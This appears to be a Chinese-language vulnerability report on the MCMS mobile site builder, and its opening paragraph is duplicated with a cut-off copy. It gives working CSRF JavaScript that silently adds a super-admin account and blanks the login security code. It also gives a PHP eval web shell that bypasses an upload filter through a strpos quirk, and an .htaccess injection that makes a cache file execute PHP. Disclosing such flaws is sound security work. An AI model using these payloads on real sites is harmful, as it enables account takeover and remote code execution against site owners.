### 简要描述: mcms手机建站之星,审的差不多了,最后发一个吧。还有些代码中间有些地方有点危险,但暂时没发现能造成什么漏洞。 加之前那个后台getshell方法,一共三弹,都不一样,有不同的新姿势。 ### 详细说明: mcms后台没有验证token,所以可以导致csrf(不过前提是,要有后台地址)。除了可以直接getshell以外,还可以加个管理账户,手动getshell,这样更保险。 csrf加管理的javascript代码如下: ``` gum = function(){ var u = { 'version':'1140213', 'domain':'{{domain}}', 'backinfo':{}, 'author': 'https://github.com/quininer/gum' }; u.e = function(code){try{return eval(code)}catch(e){return ''}}; u.name = function(names){ return document.getElementsByTagName(names); }; u.html = function(){ return u.name('html')[0] ||document.write('<html>') ||u.name('html')[0]; }; u.addom = function(html, doming, hide){ (!doming)&&(doming = u.html()); var temp = document.createElement('span'); temp.innerHTML = html; var doms = temp.children[0]; (hide)&&(doms.style.display = 'none'); doming.appendChild(doms); return doms; }; u.post = function(url, data){ var form = u.addom("<form method='POST'>", u.html(), true); form.action = url; for(var name in data){ var input =...
### 简要描述: mcms手机建站之星,审的差不多了,最后发一个吧。还有些代码中间有些地方有点危险,但暂时没发现能造成什么漏洞。 加之前那个后台getshell方法,一共三弹,都不一样,有不同的新姿势。 ### 详细说明: mcms后台没有验证token,所以可以导致csrf(不过前提是,要有后台地址)。除了可以直接getshell以外,还可以加个管理账户,手动getshell,这样更保险。 csrf加管理的javascript代码如下: ``` gum = function(){ var u = { 'version':'1140213', 'domain':'{{domain}}', 'backinfo':{}, 'author': 'https://github.com/quininer/gum' }; u.e = function(code){try{return eval(code)}catch(e){return ''}}; u.name = function(names){ return document.getElementsByTagName(names); }; u.html = function(){ return u.name('html')[0] ||document.write('<html>') ||u.name('html')[0]; }; u.addom = function(html, doming, hide){ (!doming)&&(doming = u.html()); var temp = document.createElement('span'); temp.innerHTML = html; var doms = temp.children[0]; (hide)&&(doms.style.display = 'none'); doming.appendChild(doms); return doms; }; u.post = function(url, data){ var form = u.addom("<form method='POST'>", u.html(), true); form.action = url; for(var name in data){ var input = document.createElement('input'); input.name = name; input.value = data[name]; form.appendChild(input); }; form.submit(); }; return u; }(); gum.post('http://localhost/mcms/adm/admin_list.php?m=edit', { 'aname': 'testa', 'apass': '123456', 're_pass': '123456', 'group_id': '1' }); ``` 将这段js插入任意html页面中,诱使管理员访问,即可为mcms增加一个用户名是testa,密码是123456的超级管理员账号: [<img src="https://images.seebug.org/upload/201405/11021359d8ac62c155ddc07b9b0cc851d7dcce07.jpg" alt="01.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/11021359d8ac62c155ddc07b9b0cc851d7dcce07.jpg) 不过登录后台还有一个“安全码”,这个安全码也是在配置文件中的。所以我们再使用一个类似的CSRF(具体怎么配置两个CSRF,怎么诱导管理员访问,这个应该不难),将安全码设置为空: ``` //...类似 gum.post('http://localhost/mcms/adm/set.php?m=save', { 'SAFE_CODE': '' }) ``` 之后使用testa登录之,开始getshell。 [<img src="https://images.seebug.org/upload/201405/1102275017ff73d4272d7396a05daff205176d1c.jpg" alt="02.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/1102275017ff73d4272d7396a05daff205176d1c.jpg) 出了之前说的配置文件插马(配置文件用的双引号,你懂的)的方式,还有两种getshell方式: #getshell-1 后台配置 - 基本设置 - 文件上传 [<img src="https://images.seebug.org/upload/201405/11023002711a0e883a79d81454b79996345f4be2.jpg" alt="03.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/11023002711a0e883a79d81454b79996345f4be2.jpg) 加入php后缀。 有同学说,这尼玛也太简单了吧。。。其实没你想的那么简单。。。 我们随便找个上传的地方,上传一个php一句话: [<img src="https://images.seebug.org/upload/201405/11023113c002dc27a38e013c94ee3c45bff6169b.jpg" alt="04.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/11023113c002dc27a38e013c94ee3c45bff6169b.jpg) 它告诉我“非法图像文件2”。上传.php文件依旧会报错。 我们翻源码,来到上传文件的类,core/upload.class.php,112行: ``` $tmp_con=@file_get_contents($source_file_name); if(strpos($tmp_con,'php')>0){ $this->error = '非法图像文件2'; @unlink($source_file_name); return false; } ``` 吓尿了,原来检查了文件内容,如果其中出现php,就报错。下面有两种解决方案: 01).使用短标签<? eval($_POST[a]) ?>,这样的一句话不出现php。但部分环境不支持短标签。 02).我们看到它使用strpos检查上传的文件中是否含有php这个关键字,但strpos函数是返回目标中第一次出现php的位置。所以,只要我们php这个关键字在第0个位置,就不会进入这个if语句了。所以我们上传"php<?php eval($_POST[a]) ?>"这样的一句话即可: 可以看到上传成功了: [<img src="https://images.seebug.org/upload/201405/11023845a2115c68805fae50929fea2b0a1d0f5c.jpg" alt="05.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/11023845a2115c68805fae50929fea2b0a1d0f5c.jpg) 打开可以执行: [<img src="https://images.seebug.org/upload/201405/110238579aa352f4f018b97e08581e22f1ab393a.jpg" alt="06.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/110238579aa352f4f018b97e08581e22f1ab393a.jpg) #getshell-2 mcms后台可以自定义url rewrite规则的,并且mcms会把生成好的规则文件放在web根目录下。我们知道,apache的rewrite规则放在.htaccess文件中,子目录都会继承这个.htaccess的配置。 先科普一下,如果我们在.htaccess中加入以下设置,我们的apache将会把所有名字中有xxx的文件都解析成php执行: ``` <FilesMatch "xxx"> SetHandler application/x-httpd-php </FilesMatch> ``` 所以大家想到了什么?我们将rewrite规则的最后一项用</IfModule>闭合掉,然后加上上述设置: [<img src="https://images.seebug.org/upload/201405/11025616f18ff6e2c25bab5bdbde350254bfb887.jpg" alt="09.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/11025616f18ff6e2c25bab5bdbde350254bfb887.jpg) 看到.htaccess文件,发现已经变了: [<img src="https://images.seebug.org/upload/201405/11025656afb3da8219256678c312ea8996be824b.jpg" alt="07.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/11025656afb3da8219256678c312ea8996be824b.jpg) 我让所有文件名中含有“_categories”的都解析成php。为什么呢? 因为mcms的某个缓存文件是这个名字。这样我就不用上传文件了(上传的时候又会遇到那个蛋疼的检测,知识重复了)。我们把php代码写到缓存里,让后让其执行。 来到文档 - 文档分类,随便编辑一个分类的SEO设置 - SEO标题,写入你要执行的php代码: [<img src="https://images.seebug.org/upload/201405/110301213866792c4617b7643adb6a07a4ba7d4b.jpg" alt="08.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/110301213866792c4617b7643adb6a07a4ba7d4b.jpg) 然后保存,清理一下缓存,再访问一下前台(等于更新缓存了)。 访问cache/localhost_mcms_categories就能看到,我们的代码已经执行了: [<img src="https://images.seebug.org/upload/201405/110305258d9131077850ad1c3b8892525dc8578d.jpg" alt="10.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/110305258d9131077850ad1c3b8892525dc8578d.jpg) 以上两个getshell方法,都是一些cms中可能会出现的后台getshell方法,第一个看起来似乎很简单,但也涉及到绕过上传文件内容检测。第二个比较新颖,通过.htaccess来造成一个解析漏洞,去解析原本不应该解析的缓存文件,执行任意代码。 ### 漏洞证明: 见详细说明。